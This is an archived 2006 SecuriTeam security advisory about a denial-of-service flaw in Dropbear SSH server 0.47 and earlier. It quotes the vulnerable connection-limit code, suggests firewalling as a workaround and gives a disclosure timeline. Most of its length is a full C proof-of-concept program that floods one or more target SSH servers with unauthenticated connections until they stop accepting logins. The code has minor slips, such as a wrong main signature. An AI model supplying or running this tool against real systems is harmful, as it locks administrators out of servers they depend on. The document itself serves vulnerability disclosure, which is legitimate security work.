

[NEWS] Dropbear SSH Server DoS

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-03/msg00020.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxx>
 - *Date:* 8 Mar 2006 09:14:46 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

Dropbear SSH Server DoS

SUMMARY

<<http://matt.ucc.asn.au/dropbear/dropbear.html>> Dropbear is "a relatively small SSH 2 server and client. It runs on a variety of POSIX-based platforms. Dropbear is open source software, distributed under a MIT-style license. Dropbear is particularly useful for "embedded"-type Linux (or other Unix) systems, such as wireless routers". A denial of service attack can be mounted against a Dropbear SSH server by a remote attacker.

DETAILS

Vulnerable Systems:

* Dropbear SSH server version 0.47 and prior

The vulnerability specifically exists due to a design error in the authorization-pending connections code. By default and as a #define of the MAX_UNAUTH_CLIENTS constant, the SSH server allows 30 authorization-pending connections, after connection 31, incoming sockets are close()d immediately.

Vulnerable code is in svr-main.c

```
/* check for max number of connections not authorised */
```

[NEWS] Dropbear SSH Server DoS

```
for (j = 0; j < MAX_UNAUTH_CLIENTS; j++) {
if (childpipes[j] < 0) {
break;
}
}

if (j == MAX_UNAUTH_CLIENTS) {
/* no free connections */
/* TODO – possibly log, though this would be an easy way
* to fill logs/disk */
close(childsock);
continue;
}
```

Analysis:

Remote attack of this vulnerability is trivial. This is specially problematic if the administrator can't login due to the attack and can't at least blacklist the attacker, restart the service or undertake other actions.

Workaround:

Administrators running Dropbear should wait for a fix from the vendor. In the mean time, firewalling the SSH server allowing incoming connections just from trusted sources is advised.

Vendor response:

The vendor has been notified and a solution is under development.

Disclosure Timeline:

30/01/2006 – Initial vendor notification
07/03/2006 – Public disclosure

Exploit:

```
/*
* dropbear-PoC.c — Probe of Concept, DoS Dropbear SSH server
*
* Author: Pablo Fernandez <pablo at littleQ.net>
*
* gcc dropbear-PoC.c -o dropbear-PoC -lpthread
* ./dropbear-PoC -v 192.168.0.1
*
*/
/*****
* *
* This program is free software; you can redistribute it and/or modify *
* it under the terms of the GNU General Public License as published by *
* the Free Software Foundation; either version 2 of the License, or *
* (at your option) any later version. *
* *
* This program is distributed in the hope that it will be useful, *
* but WITHOUT ANY WARRANTY; without even the implied warranty of *
```

[NEWS] Dropbear SSH Server DoS

```
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the *  
* GNU General Public License for more details. *  
* *  
*****/
```

```
#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
#include <unistd.h>  
#include <getopt.h>  
#include <sys/poll.h>  
#include <sys/types.h>  
#include <sys/socket.h>  
#include <netinet/in.h>  
#include <arpa/inet.h>  
#include <pthread.h>  
  
#define MAX_SOCKS 0xfff  
#define PORT 22  
#define TIMEOUT_IN_MSECS 5000 /* 5 seconds... */  
  
struct data {  
int max_unauth_clients;  
int port;  
int verbose;  
char *host;  
};  
  
void show_help (const char *name)  
{  
fprintf(stderr, "Usage %s [OPTIONS] host1 [hostN...]\n"  
"\n"  
"Options:\n"  
"\t--help, -h - This help\n"  
"\t--port, -p [PORT] - Port to connect to (defaults to %d)\n"  
"\t--verbose, -v - Verbose level (can be used multiple times)\n"  
"\n"  
"Note that hosts should be specified using IP addresses, not  
hostnames\n",  
name, PORT);  
  
exit(1);  
}  
  
void *DoS (void *data)  
{  
struct data *d;  
struct sockaddr_in sa;  
int sock;  
int killed = 0;  
struct pollfd fd;
```

[NEWS] Dropbear SSH Server DoS

```
struct timeval tv = { .tv_sec = 5, .tv_usec = 0 };
int retval;
int i = 0;

d = (struct data*) data;

if (d->verbose > 1)
printf("[*] Target: %s\n", d->host);

sa.sin_family = AF_INET;
sa.sin_addr.s_addr = inet_addr(d->host);
sa.sin_port = htons(d->port);

while (1) {
if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
fprintf(stderr, "[!] Unable to create socket\n");
break;
}

if (connect(sock, (struct sockaddr*) &sa, sizeof(sa)) < 0) {
fprintf(stderr, "[!] %s: Unable to connect\n", d->host);
break;
}

memset(&fd, 0, sizeof(struct pollfd));

fd.fd = sock;
fd.events = POLLIN;

if ((retval = poll(&fd, 2, TIMEOUT_IN_MSECS)) < 0) {
perror("poll");
return NULL;
}

if (fd.revents & POLLIN) {
char buf[512];

memset(buf, 0, sizeof(buf));
read(sock, &buf, sizeof(buf));

if (buf[0] != 0) {
if (killed) {
if (d->verbose > 0)
printf("[!] %s is back up\n", d->host);
} else if (d->verbose > 1)
printf("[+] %s: connected %2d, %d\n", d->host, i++, fd.revents);

killed = 0;
} else
goto err;
} else if (fd.revents & (POLLERR | POLLHUP)) {
```

[NEWS] Dropbear SSH Server DoS

```
err:
if (!killed && d->verbose > 0)
printf("[+] %s has been DoSified\n", d->host);

killed = 1;
}

if (killed)
sleep(5);
}

return NULL;
}

int main (int argc, char *argv)
{
int port = PORT;
int verbose = 0;
int opt;
char *host;
pthread_t *threads = NULL;
int targets = 0;
int i;
struct data *d;

printf("\n");
printf("DropBear SSH Server DoS PoC\n");
printf(" -- by Pablo Fernandez <pablo at littleQ.net>\n\n");

while (1) {
static struct option options[] = {
{ "help", 0, 0, 'h' },
{ "port", 1, 0, 'p' },
{ "verbose", 0, 0, 'v' },
{ 0, 0, 0, 0 }
};
int a;

if ((opt = getopt_long(argc, argv, "hp:v", options, &a) < 0)
break;

switch (opt) {
default:
case 'h':
show_help(argv[0]);
break;
case 'p':
port = atoi(optarg);
break;
case 'v':
verbose++;
```

[NEWS] Dropbear SSH Server DoS

```
break;
}
}

if (optind >= argc) {
fprintf(stderr, "\nError: Host not specified\n\n");
show_help(argv[0]);
return 0;
}

targets = argc - optind;

if ((threads = (pthread_t*) malloc(targets * sizeof(pthread_t))) < 0) {
perror("malloc");
return 1;
}

if (verbose > 2)
printf("[*] %d targets\n", targets);

for (i = 0; optind < argc; i++) {
host = argv[optind++];

d = (struct data*) malloc(sizeof(struct data));
d->port = port;
d->verbose = verbose;
d->host = strdup(host);

pthread_create(&(threads[i]), NULL, DoS, d);
}

for (i = 0; i < targets; i++) {
pthread_join(threads[i], NULL);
}

return 0;
}
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:pablo@xxxxxxxxxxxx>> Pablo Fernandez.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:

[NEWS] Dropbear SSH Server DoS

list-unsubscribe@xxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxx

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.